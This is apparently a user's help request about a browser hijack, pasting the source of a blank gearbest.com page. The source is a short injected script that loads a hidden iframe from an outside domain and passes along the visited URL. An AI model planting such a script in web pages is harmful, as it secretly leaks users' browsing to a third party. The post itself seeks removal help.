AdwCleaner was unable to fix it. MalwareBytes also did not help. When I try to open gearbest.com in firefox I see a blank page. The source of the page:
<!DOCTYPE html>
<html>
<body>
<script type="text/javascript">
var url=location.href;
var ifr = document.createElement('iframe');
ifr.style.display = 'none';
ifr.src ='//area51buy.com/'+'#'+url;
document.body.appendChild(ifr);
</script>
</body>
</html>
